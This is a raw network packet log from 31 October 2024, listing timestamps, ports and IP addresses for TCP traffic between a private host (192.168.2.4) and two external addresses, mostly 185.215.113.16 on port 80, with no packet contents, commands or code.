Oct 31, 2024 20:52:33.271051884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271059990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271442890 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271455050 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271460056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271506071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271517038 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271817923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271858931 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271869898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271928072 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271936893 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271945953 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271951914 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271986008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.275727987 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.276068926 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.276096106 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.276120901 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.304399014 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.304415941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.304429054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.304640055 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.312833071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.312845945 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.312856913 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.313066006 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.326793909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.326828957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.326841116 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.329250097 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.354438066 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.354476929 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.354486942 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.354496956 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.360507965 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.378144979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.378213882 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.378225088 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.378235102 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.385128021 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:33.388084888 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388117075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388171911 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388194084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388206959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388217926 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388231039 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388242960 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388256073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388269901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388317108 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388326883 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388854027 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388933897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388945103 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388956070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388967037 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.388979912 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389067888 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389081001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389091969 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389103889 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389709949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389722109 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389733076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389772892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.389784098 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.391335964 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:33.393735886 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.393770933 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:33.395320892 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.395354033 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.395438910 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:33.395499945 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.421685934 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.421705008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.421717882 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.429600954 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.430085897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.430157900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.430186033 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.435466051 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.442400932 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:33.442434072 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:33.442542076 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:33.442627907 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:33.443921089 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.443933010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.443943977 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.445070982 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:33.445765972 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.472023964 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.472040892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.472054005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.473241091 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.495857000 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.495868921 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.495881081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.495908022 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.495934010 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.505300999 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505312920 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505322933 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505353928 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505363941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505376101 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505384922 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.505424976 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.505429029 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505460024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505470037 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505481958 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505491972 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.505539894 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.506062984 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506074905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506084919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506110907 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.506135941 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.506232023 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506242990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506253958 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506318092 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506330013 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506457090 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.506692886 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506746054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506747961 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.506761074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506783962 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506794930 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506805897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506819963 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506838083 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506848097 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.506895065 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.512821913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.512866974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.512877941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.512912035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.512923002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.512964010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.513042927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.513053894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.513084888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.513097048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.513140917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.514769077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.517926931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.517978907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.527704000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.538965940 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.538986921 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.538999081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.539005995 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.539107084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.539117098 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.539233923 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.550668001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.550753117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.550764084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.553512096 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.561183929 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.561194897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.561204910 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.562004089 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.589298964 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.589333057 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.589343071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.594773054 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.613085032 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.613095999 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.613106012 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.622935057 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.622946978 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.622956991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623054981 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623065948 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623075962 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623085976 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623096943 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623224020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623235941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623245955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623256922 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623267889 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623281002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623291016 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623874903 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623945951 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623956919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623967886 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.623979092 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624073982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624084949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624094963 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624105930 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624116898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624129057 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.624140978 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.626038074 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.641665936 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.656497002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.656508923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.656522989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.656572104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.656584024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.657286882 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.667829990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.667841911 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.667884111 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.667937040 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.667947054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.672818899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.672853947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.672864914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.673213005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.673346996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.673547983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.673590899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.673603058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.674307108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.674348116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.674360037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675087929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675195932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675209045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675884008 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675940037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.675951958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.676712990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.676724911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.676740885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.677438021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.677611113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.678425074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.678453922 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.678463936 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.678498983 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.679464102 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.695084095 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.698906898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.703850031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.706513882 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.706532955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.706542969 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.710706949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.726358891 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.726908922 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.730448008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.730463982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.730474949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.739877939 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.739897013 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.739907980 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740061045 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740075111 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740092993 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740106106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740118027 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740129948 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740331888 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740366936 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740420103 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740456104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740494013 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740506887 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740518093 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740832090 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740843058 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.740853071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741027117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741099119 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741111040 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741123915 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741338015 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741358042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741369963 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741415977 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741426945 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741436958 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741504908 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741516113 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741527081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.741976023 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.757591963 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.773772955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.773785114 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.773794889 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.773808002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.773818970 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.774166107 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.785176992 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.785228968 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.785239935 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.794365883 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.794387102 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.795747042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.795783043 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.795793056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.810214996 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.810297012 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.823966026 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.823977947 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.823987007 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833260059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833271027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833354950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833364964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833374977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.833950043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.834214926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.834224939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.834235907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.834813118 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.834904909 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.834985018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835036993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835047960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835453033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.835742950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835791111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835803032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.835858107 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.836534977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.836577892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.836587906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.837351084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.837362051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.837372065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838087082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838143110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838155031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838872910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838939905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.838952065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.839629889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.839663982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.839675903 CET	80	49766	185.215.113.16	192.168.2.4
